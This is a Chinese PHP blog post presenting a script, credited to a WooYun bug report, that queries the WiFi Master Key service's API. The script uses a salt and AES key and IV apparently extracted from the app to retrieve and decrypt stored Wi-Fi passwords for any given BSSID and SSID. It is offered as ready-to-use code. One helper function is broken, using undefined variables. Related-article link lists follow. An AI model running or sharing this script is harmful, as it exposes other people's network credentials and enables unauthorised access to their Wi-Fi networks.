WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
PHP 采集获取指定网址的内容
Jan 05 PHP
PHP递归复制、移动目录的自定义函数分享
Nov 18 PHP
php使用post数组的键值创建同名变量并赋值的方法
Apr 03 PHP
php基于双向循环队列实现历史记录的前进后退等功能
Aug 08 PHP
PHP函数func_num_args用法实例分析
Dec 07 PHP
详解WordPress开发中过滤属性以及Sql语句的函数使用
Dec 25 PHP
配置Nginx+PHP的正确思路与过程
May 10 PHP
PHP批量获取网页中所有固定种子链接的方法
Nov 18 PHP
php文件上传 你真的掌握了吗
Nov 28 PHP
CentOS 上搭建 PHP7 开发测试环境
Feb 26 PHP
Laravel框架执行原生SQL语句及使用paginate分页的方法
Aug 17 PHP
php workerman定时任务的实现代码
Dec 23 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
PHILIPS D1835/D1875的电路分析与打理
2021/03/02 无线电
PHP基础教程(php入门基础教程)一些code代码
2013/01/06 PHP
深入php list()函数的详解
2013/06/05 PHP
浅析is_writable的php实现
2013/06/18 PHP
PHP封装的Twitter访问类实例
2015/07/18 PHP
thinkphp的dump函数无输出实例代码
2016/11/15 PHP
js checkbox(复选框) 使用集锦
2009/04/28 Javascript
javascript 自定义事件初探
2009/08/21 Javascript
理解JSON:3分钟课程
2011/10/28 Javascript
javascript自适应宽度的瀑布流实现思路
2013/02/20 Javascript
javascript实现数字+字母验证码的简单实例
2014/02/10 Javascript
通过隐藏iframe实现文件下载的js方法介绍
2014/02/26 Javascript
分享10个原生JavaScript技巧
2015/04/20 Javascript
浅谈jQuery的offset()方法及示例分享
2015/07/17 Javascript
基于JavaScript实现手机短信按钮倒计时(超简单)
2015/12/30 Javascript
react-router4 配合webpack require.ensure 实现异步加载的示例
2018/01/18 Javascript
vue-week-picker实现支持按周切换的日历
2019/06/26 Javascript
Vue3 中的数据侦测的实现
2019/10/09 Javascript
js实现整体缩放页面适配移动端
2020/03/31 Javascript
Python脚本实现代码行数统计代码分享
2015/03/10 Python
Python运算符重载用法实例
2015/05/28 Python
Python中int()函数的用法浅析
2017/10/17 Python
Python3.遍历某文件夹提取特定文件名的实例
2018/04/26 Python
python实现简单登陆系统
2018/10/18 Python
Python配置虚拟环境图文步骤
2019/05/20 Python
pyQT5 实现窗体之间传值的示例
2019/06/20 Python
Django框架之中间件MiddleWare的实现
2019/12/30 Python
python 模拟登陆github的示例
2020/12/04 Python
CSS3动画之利用requestAnimationFrame触发重新播放功能
2019/09/11 HTML / CSS
巴西图书和电子产品购物网站:Saraiva
2017/06/07 全球购物
感恩小明星事迹材料
2014/05/23 职场文书
金融专业毕业生自荐信
2014/06/26 职场文书
幼儿园八一建军节活动方案
2014/08/27 职场文书
清明节扫墓活动总结
2015/02/09 职场文书
25句企业管理语录:助你迅速打开思路,句句经典!
2020/01/14 职场文书
Java中的Kafka为什么性能这么快及4大核心详析
2022/09/23 Java/Android